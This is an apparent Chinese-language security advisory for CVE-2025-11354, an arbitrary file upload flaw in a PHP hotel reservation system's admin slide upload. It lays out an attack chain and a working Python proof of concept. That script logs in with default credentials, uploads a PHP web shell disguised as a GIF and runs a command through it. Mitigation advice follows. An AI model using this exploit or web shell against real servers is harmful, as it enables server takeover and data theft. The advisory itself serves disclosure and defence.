IPBUF安全漏洞报告
English
CVE-2025-11354 CVSS 6.3 中危

CVE-2025-11354:Online Hotel Reservation System 任意文件上传漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11354
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Hotel Reservation System

相关标签

任意文件上传Unrestricted File UploadOnline Hotel Reservation Systemcode-projectsPHPWeb应用漏洞远程代码执行CWE-434中危漏洞已公开PoC

漏洞概述

CVE-2025-11354是code-projects公司开发的Online Hotel Reservation System(在线酒店预订系统)1.0版本中存在的一个安全漏洞。该漏洞位于系统后台管理模块的/admin/addslideexec.php文件中,具体涉及对image参数的处理逻辑存在缺陷,攻击者可以通过操控该参数实现无限制的文件上传操作。由于该系统是一个面向酒店行业的Web应用程序,通常部署在公网服务器上,因此该漏洞具有较高的实际威胁。

根据CVSS 3.1评分体系,该漏洞评分为6.3分,属于中危级别。攻击者只需要具备低权限(PR:L)即可利用此漏洞,无需用户交互(UI:N),可以通过网络远程(AV:N)发起攻击。漏洞的成功利用将导致低程度的机密性、完整性和可用性影响(C:L/I:L/A:L),攻击者可以上传恶意文件(如Web Shell)到服务器,从而获取服务器控制权限,进一步实施数据窃取、网站篡改或作为跳板攻击内网。

该漏洞的详细信息已于2025年10月7日由[email protected]公开披露,并且已有公开的漏洞利用代码(Exploit)发布,这意味着该漏洞正在被广泛利用的风险较高。相关参考链接中还包含了GitHub上的漏洞报告(zhicat/C/issues/31)以及VulDB的CTI条目(ctiid.327239),表明该漏洞已经引起了安全社区的广泛关注。

技术细节

该漏洞的核心问题在于/admin/addslideexec.php文件中对用户上传文件的处理逻辑存在安全缺陷。具体而言,当管理员通过后台界面上传幻灯片(slide)图片时,系统接收用户通过image参数提交的文件,但未对上传文件的类型、扩展名、内容进行充分的验证和过滤。

在正常的文件上传场景中,安全的实现应当:1)通过MIME类型检查验证文件类型;2)通过文件扩展名白名单限制允许上传的文件类型;3)重命名上传文件以避免路径遍历;4)将上传目录设置为不可执行;5)验证文件内容的魔术字节(magic bytes)。

然而,在存在漏洞的代码中,攻击者可以绕过这些检查机制。具体利用方式如下:攻击者首先需要获取管理员账户的低权限凭据(可能通过暴力破解、默认凭据或其他途径获得),然后构造一个包含恶意代码的文件(如PHP Web Shell),将其扩展名伪装为图片格式(如.jpg、.png),或者直接上传.php文件(如果系统未做扩展名过滤)。接着,攻击者通过POST请求向/admin/addslideexec.php发送包含恶意文件的multipart/form-data请求,将恶意文件作为image参数的值提交。服务器在接收文件后,由于缺乏安全检查,会将文件保存到Web可访问目录中。

一旦文件上传成功,攻击者即可通过浏览器直接访问上传的恶意文件,从而在服务器上执行任意PHP代码,获取Web服务器的控制权限。攻击者随后可以执行系统命令、读取敏感文件、植入后门程序,甚至利用服务器作为跳板进行内网渗透。

攻击链分析

STEP 1
步骤1:获取管理员凭据
攻击者通过暴力破解、默认凭据(admin/admin)、社会工程学或其他途径获取Online Hotel Reservation System后台管理账户的低权限凭据。
STEP 2
步骤2:登录后台管理系统
使用获取的管理员凭据登录到/admin/login.php,成功通过身份验证并获取有效的会话Cookie。
STEP 3
步骤3:构造恶意上传请求
攻击者准备一个包含PHP Web Shell代码的恶意文件(如包含<?php system($_GET['cmd']); ?>的文件),可以伪装为图片格式以绕过简单的MIME类型检查。
STEP 4
步骤4:利用漏洞上传恶意文件
通过POST请求向/admin/addslideexec.php发送multipart/form-data请求,将恶意文件作为image参数的值提交。由于服务器未对上传文件进行充分验证,恶意文件被成功保存到Web可访问目录。
STEP 5
步骤5:执行远程代码
攻击者通过浏览器直接访问上传的恶意文件URL,执行任意PHP代码,获取服务器控制权限,可执行系统命令、读取敏感数据或植入持久化后门。
STEP 6
步骤6:后续渗透
利用获取的服务器权限,攻击者可以进一步进行内网横向移动、数据窃取、网站篡改或部署挖矿程序等恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11354 - Online Hotel Reservation System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /admin/addslideexec.php via 'image' parameter # Author: Security Researcher # Tested on: code-projects Online Hotel Reservation System 1.0 import requests TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPLOAD_URL = f"{TARGET_URL}/admin/addslideexec.php" SHELL_PATH = "uploads/shell.php" # Step 1: Login as admin (requires valid low-privilege credentials) session = requests.Session() login_data = { "username": "admin", "password": "admin", # Default/weak credentials "login": "submit" } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Prepare malicious PHP webshell disguised as image # Using GIF89a header to bypass MIME type checks php_shell_content = b"GIF89a;\n<?php system($_GET['cmd']); ?>" files = { "image": ("shell.php", php_shell_content, "image/gif") } # Step 3: Upload the malicious file via vulnerable endpoint response = session.post(UPLOAD_URL, files=files) print(f"Upload response status: {response.status_code}") # Step 4: Verify shell access and execute commands shell_url = f"{TARGET_URL}/{SHELL_PATH}" cmd_response = requests.get(f"{shell_url}?cmd=id") print(f"Command execution result: {cmd_response.text}") # Alternative: Direct upload without authentication if endpoint is exposed # files = {"image": ("shell.php", b"<?php system($_GET['cmd']); ?>", "application/x-php")} # response = requests.post(UPLOAD_URL, files=files)

影响范围

code-projects Online Hotel Reservation System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/admin/addslideexec.php的访问权限,仅允许特定IP地址访问;2)在Web服务器层面配置上传目录禁止执行PHP脚本(例如在Nginx中配置location规则,或在Apache中使用.htaccess设置php_flag engine off);3)部署WAF规则监控和拦截可疑的文件上传请求;4)审查并删除上传目录中已存在的可疑文件;5)加强管理员账户的安全管理,强制使用强密码并定期更换;6)监控系统日志,及时发现异常的登录和文件操作行为;7)考虑暂时禁用文件上传功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表